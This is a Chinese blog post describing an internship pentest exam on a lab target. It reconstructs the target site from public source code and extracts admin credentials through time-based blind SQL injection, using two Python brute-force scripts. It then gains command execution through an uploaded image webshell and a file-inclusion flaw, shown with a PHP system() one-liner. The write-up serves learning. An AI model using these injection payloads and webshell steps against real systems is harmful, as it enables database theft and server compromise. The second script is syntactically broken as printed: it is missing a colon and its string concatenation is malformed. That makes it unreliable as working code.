面安服的一道筆試題


打算找暑假實習了,在boss上投,簡單交流后收到回復,試了下,記錄下思路和過程。

資產收集

拿到靶機,指紋識別

根據題目提示使用dirsearch進行目錄簡單掃描,部分結果如下:

找到robot.txt

User-agent: * Disallow: /Company_admin/ 

訪問首頁F12查看源碼

<!-- author: Ethredah author URL: http://ethredah.github.io --> 

找到前端代碼作者Ethredah,找到器github鏈接,https://github.com/Ethredah/

在倉庫中發現網站源碼 PHP-Blog-Admin ,clone下來進行代碼審計對比,

簡單審計,發現sql語句幾乎沒做安全措施,代碼邏輯簡單明了,回到網站

找到后台地址

http://ip:port/Company_admin/login.php

在網站中搜尋有用信息,

用戶password疑似 p3ssw0rd

4 digits code 疑似 1027

可能存在的郵箱賬號

info@example.com
ethredah@gmail.com 
admin@example.com 
Admin@Companyonline.net
info@Companyonline.net
ethredah@Companyonline.net

手工測試登錄,嘗試無果

查看博客文章,點擊查看詳情,觀察url

http://url:port/single.php?id=6

id處疑似存在sql注入,嘗試:

被攔截,先放着

找網站輸入點,footer處可輸入郵箱,嘗試,被攔截

網站blog留言,contact,嘗試,被攔截(這些地方不管輸入什么都被攔截)先放着,可能存在xss和二次注入

整理資產

滲透測試

sql注入

抓包網站輸入出包分析,發現在輸入后請求的時候攜帶了一個submit參數,自帶了一個 +符號(暈),刪掉后可進行正常的業務邏輯操作,查看網站源碼,進行sql注入測試

FUZZ

如上圖,返回長度為324的表示被過濾,還有大部分的諸如selectsleep等可用,有操作空間。審計single.php源碼,網站無回顯,嘗試sql盲注,sleep(3)成功延時,於是構造payload:if(ascii(mid(1,1,1))like(49),sleep(3),1)

寫腳本簡單爆破:

import requests from time import sleep url = "url:port/single.php?id=" for i in range(1, 100):    for j in range(32, 128):        # 數據庫        # if(ascii(mid((select(database()))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)       hstest        # 表名        # if(ascii(mid((select(group_concat(table_name,\",\"))from(information_schema.tables)        # where((table_schema)like(database())))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) admin,comments......        # 字段名        # if(ascii(mid((select(group_concat(column_name,\",\"))from(information_schema.columns)        # where((table_name)like(\"admin\")))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)     id,email......        # 字段值爆破        d = "if(ascii(mid((" \            "select(group_concat(email,\",\"))from(admin)" \            ")," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)"        r = requests.get(url + d)        if r.elapsed.total_seconds() > 3:            print(chr(j), end='')            break 

得到email賬號如下:

fakeaddr@xxx.com (xxx為打碼) 

嘗試密碼爆破

import requests from time import sleep url = "url:port/single.php?id=" for i in range(1, 100):    for j in range(32, 128):        if 47<j<58 or 96<j<123            d = "if(ascii(mid(("                "select(group_concat(password,\",\"))from(admin)"                ")," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)"            r = requests.get(url + d)            if r.elapsed.total_seconds() > 3:                print(chr(j), end='')                break 

得到md5 hash后的密碼:

752ae077e594f3b7452da97f78xxxxxx

解密后得到 xxxxxxx

登陸后台,使用賬號 fakeaddr@xxx.com密碼 xxxxxx,4 digits code為1027

成功登錄后台

文件包含

在 comments.php處找到文件上傳點,嘗試各種繞過后無果,隨后尋找文件包含點,在 language.phptemplate參數處找到可包含的點,隨后上傳圖片馬,包含phpinfo,執行結果如下:

然后一系列命令執行,最終在 /home/www/flag-stage1-272d3798-cdc0-4f47-9a77-d8916fb84226.txt下得到flag

<?php system("find /home -name '*' | xargs grep 'xxxFlag{'");phpinfo();?> 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM